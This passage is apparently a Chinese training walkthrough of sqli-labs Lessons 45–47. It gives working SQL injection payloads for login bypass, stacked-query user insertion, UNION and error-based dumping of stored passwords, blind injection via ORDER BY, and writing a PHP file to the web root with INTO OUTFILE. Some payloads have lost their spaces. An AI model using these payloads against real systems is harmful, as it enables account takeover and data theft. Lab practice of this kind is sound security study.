WEB常见漏洞之SQL注入(靶场篇—3)3

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS PostgreSQL,高可用系列 2核4GB
云数据库 RDS MySQL,高可用系列 2核4GB
简介: WEB常见漏洞之SQL注入(靶场篇—3)

Lesson-45

该题为单括号单引号post型注入,利用方式包括联合查询注入、布尔盲注、时间盲注、堆叠注入,登录界面以 post 方式接收变量,存在忘记密码和新建用户选项

目标SQL语句如下:

//login.php

$username=mysqli_real_escape_string($con1, $_POST["login_user"]);

$password=$_POST["login_password"];

$sql="SELECT * FROM users WHERE username=('$username') and password=('$password')";

@mysqli_multi_query($con1, $sql)

# 返回内容

if查询成功:

  输出查询内容;

else:

  输出存在错误;

$login=sqllogin($host,$dbuser,$dbpass, $dbname);

if登录成功:

  setcookie("Auth", 1, time()+3600);

//pass_change.php

$username=$_SESSION["username"];

$curr_pass=mysql_real_escape_string($_POST['current_password']);

$pass=mysql_real_escape_string($_POST['password']);

$re_pass=mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)

$sql="UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

注意:该题与Lesson44的利用方式相同,只不过拼接方式由单引号换成了单括号单引号

使用万能密码尝试登录,成功登录

login_user=admin&login_password=1')%20or%201#&mysubmit=Login

使用堆叠注入判断字段数

login_user=admin&login_password=1')%20order%20by%203#&mysubmit=Login //返回正常页面

这里我们不能使用 order by 来判断字段数,需要通过 union select 判断

login_user=admin&login_password=-1')%20union%20select%201,2,3#&mysubmit=Login

由此可判断字段数为3,我们可利用联合查询、报错注入以及盲注进行攻击,这在之前都已介绍过了,就不再赘述。重点测试堆叠注入,尝试添加字段值

login_user=admin&login_password=1');insert%20into%20users(username,password)%20values('mac','mac')#&mysubmit=Login

通过联合查询查看数据,点击follow后发现字段值已添加

login_user=admin&login_password=-1')%20union%20select%201,(select%20group_concat(concat_ws(0x7e,username,password))%20from%20users),3%20from%20users#&mysubmit=Login

Lesson-46

该题为数字型get型注入,利用方式包括报错注入、布尔盲注、时间盲注,本题是对 order by 语句的注入,常见的显示表格的站点一般会使用sortlimit参数来控制数据返回长度

sort=1

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY $id";

# 返回内容

iftrue:

  输出查询内容;

else:

  print_r(mysql_error());

注意:该题将order by作为注入点,它不同于where后的参数注入,因此不能使用联合查询,但可以使用报错注入和盲注

判断注入点的多种方式:

  • 升降序验证

sort=1asc //返回顺序结果

sort=1desc //返回倒序结果

  • rand()验证

sort=rand(true)

sort=rand(false)

rand(true)rand(false)都会返回随机排列的结果

  • 延时验证

sort=sleep(3) //等待3*行数秒才会显示结果

使用报错注入查询基本信息

sort=(selectcount(*)from users groupby concat((selectuser()),0x7e,floor(rand(0)*2)))

sort=(selectcount(*)from users groupby concat((select version()),0x7e,floor(rand(0)*2)))

sort=(selectcount(*)from users groupby concat((selectdatabase()),0x7e,floor(rand(0)*2)))

除了以上基础的 floor 报错注入外,还可以使用procedure analyse参数进行注入

sort=1procedure analyse(extractvalue(rand(),concat(0x7e,user())),1)

查询表名,更改 limit 中的前后位数字可控制数据显示位置以及数量

sort=(selectcount(*)from users groupby concat((selecttable_namefrom information_schema.tableswhere table_schema='security'limit0,1),0x7e,floor(rand(0)*2)))

sort=(selectcount(*)from users groupby concat((selecttable_namefrom information_schema.tableswhere table_schema='security'limit1,1),0x7e,floor(rand(0)*2)))

查询列名

sort=(selectcount(*)from users groupby concat((select column_name from information_schema.columnswheretable_name='users'limit0,1),0x7e,floor(rand(0)*2)))

sort=(selectcount(*)from users groupby concat((select column_name from information_schema.columnswheretable_name='users'limit1,1),0x7e,floor(rand(0)*2)))

640.png

查询关键信息

sort=(selectcount(*)from users groupby concat((select concat(username,0x7e,password)from users limit0,1),0x7e,floor(rand(0)*2)))

sort=(selectcount(*)from users groupby concat((select concat(username,0x7e,password)from users limit1,1),0x7e,floor(rand(0)*2)))

盲注可使用rand()进行判断,一旦查询正确就会通过rand()函数重新随机排列数组,否则不变,首先测试布尔盲注

sort=rand(left(database(),1)>'s')

sort=rand(left(database(),1)='s')

数据库名的第一个字符为s,其次测试时间盲注

sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))

sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))

使用into outfile将结果导入目标文件中

sort=1intooutfile"C:\\phpStudy\\PHPTutorial\\WWW\\mac.txt"

成功将结果写入mac.txt当中

我们可利用lines terminated by来尝试获取权限

sort=1intooutfile"C:\\phpStudy\\PHPTutorial\\WWW\\mac1.php"linesterminatedby0x3c3f70687020706870696e666f28293f3e0a

访问mac1.php,成功解析

使用十六进制可有效规避字符乱码问题,通过 python 可将利用代码转换为十六进制

echo "<?php phpinfo()?>"| python3 -c "import sys, binascii; print(binascii.hexlify(sys.stdin.buffer.read()).decode())"

Lesson-47

该题为单引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY '$id'";

# 返回内容

iftrue:

  输出查询内容;

else:

  print_r(mysql_error());

注意:该题与Lesson46的利用方式相同,只不过拼接方式由数字改为了单引号

使用报错注入判断注入点

sort=1'--+

查询基本信息

sort=1' and (select count(*) from users group by concat((select user()),0x7e,floor(rand(0)*2)))--+

sort=1'and(selectcount(*)from users groupby concat((select version()),0x7e,floor(rand(0)*2)))--+

sort=1' and (select count(*) from users group by concat((select database()),0x7e,floor(rand(0)*2)))--+

除了以上基础的 floor 报错注入外,还可以使用procedure analyse参数进行注入

sort=1' procedure analyse(extractvalue(rand(),concat(0x7e,user())),1)--+

查询表名,更改 limit 中的前后位数字可控制数据显示位置以及数量

sort=1' and (select count(*) from users group by concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e,floor(rand(0)*2)))--+

sort=1' and (select count(*) from users group by concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e,floor(rand(0)*2)))--+

查询列名

sort=1' and (select count(*) from users group by concat((select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e,floor(rand(0)*2)))--+

sort=1' and (select count(*) from users group by concat((select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e,floor(rand(0)*2)))--+

查询关键信息

sort=1' and (select count(*) from users group by concat((select concat(username,0x7e,password) from users limit 0,1),0x7e,floor(rand(0)*2)))--+

sort=1' and (select count(*) from users group by concat((select concat(username,0x7e,password) from users limit 1,1),0x7e,floor(rand(0)*2)))--+

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/mysql&nbsp;
目录
相关文章
|
1月前
|
SQL Web App开发 安全
SQL Server 2025 年 8 月更新 - 修复 CVE-2025-49759 SQL Server 特权提升漏洞
SQL Server 2025 年 8 月更新 - 修复 CVE-2025-49759 SQL Server 特权提升漏洞
88 2
SQL Server 2025 年 8 月更新 - 修复 CVE-2025-49759 SQL Server 特权提升漏洞
|
2月前
|
SQL Web App开发 安全
SQL Server 2025年7月更新 - 修复 CVE-2025-49718 Microsoft SQL Server 信息泄露漏洞
SQL Server 2025年7月更新 - 修复 CVE-2025-49718 Microsoft SQL Server 信息泄露漏洞
177 0
SQL Server 2025年7月更新 - 修复 CVE-2025-49718 Microsoft SQL Server 信息泄露漏洞
|
8月前
|
SQL 安全 数据库
如何在Django中正确使用参数化查询或ORM来避免SQL注入漏洞?
如何在Django中正确使用参数化查询或ORM来避免SQL注入漏洞?
490 77
|
8月前
|
SQL 安全 数据库连接
除了使用Django的ORM,还能通过什么方式在Django中避免SQL注入漏洞?
除了使用Django的ORM,还能通过什么方式在Django中避免SQL注入漏洞?
215 73
|
6月前
|
SQL 安全 PHP
thinkphp5之sql注入漏洞-builder处漏洞
在Web应用开发中,SQL注入是一种需要高度警惕的安全漏洞。通过深入理解ThinkPHP5中的SQL查询机制,并结合安全编码实践,开发者可以有效防止SQL注入攻击,保障应用的安全性和稳定性。
270 13
|
10月前
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
319 2
|
11月前
|
SQL
Web for Pentester SQL sql注入靶场
Web for Pentester SQL sql注入靶场
|
11月前
|
SQL 运维 安全
怎样可以找到SQL漏洞:技巧与方法详解
SQL漏洞,特别是SQL注入漏洞,是Web应用中常见的安全威胁之一
|
4月前
|
Web App开发 前端开发 JavaScript
鸿蒙5开发宝藏案例分享---Web适配一多开发实践
这是一份实用的鸿蒙Web多设备适配开发指南,针对开发者在不同屏幕尺寸下的布局难题提供了解决方案。文章通过三大法宝(相对单位、媒体查询和窗口监听)详细介绍如何实现智能适配,并提供了多个实战案例,如宫格布局、对话框变形和自适应轮播图等。此外,还分享了调试技巧及工具推荐,帮助开发者快速上手并优化性能。最后鼓励读者实践探索,并提示更多官方资源等待发现。
|
6月前
|
关系型数据库 MySQL 数据库
基于Flink CDC 开发,支持Web-UI的实时KingBase 连接器,三大模式无缝切换,效率翻倍!
TIS 是一款基于Web-UI的开源大数据集成工具,通过与人大金仓Kingbase的深度整合,提供高效、灵活的实时数据集成方案。它支持增量数据监听和实时写入,兼容MySQL、PostgreSQL和Oracle模式,无需编写复杂脚本,操作简单直观,特别适合非专业开发人员使用。TIS率先实现了Kingbase CDC连接器的整合,成为业界首个开箱即用的Kingbase CDC数据同步解决方案,助力企业数字化转型。
1133 5
基于Flink CDC 开发,支持Web-UI的实时KingBase 连接器,三大模式无缝切换,效率翻倍!

热门文章

最新文章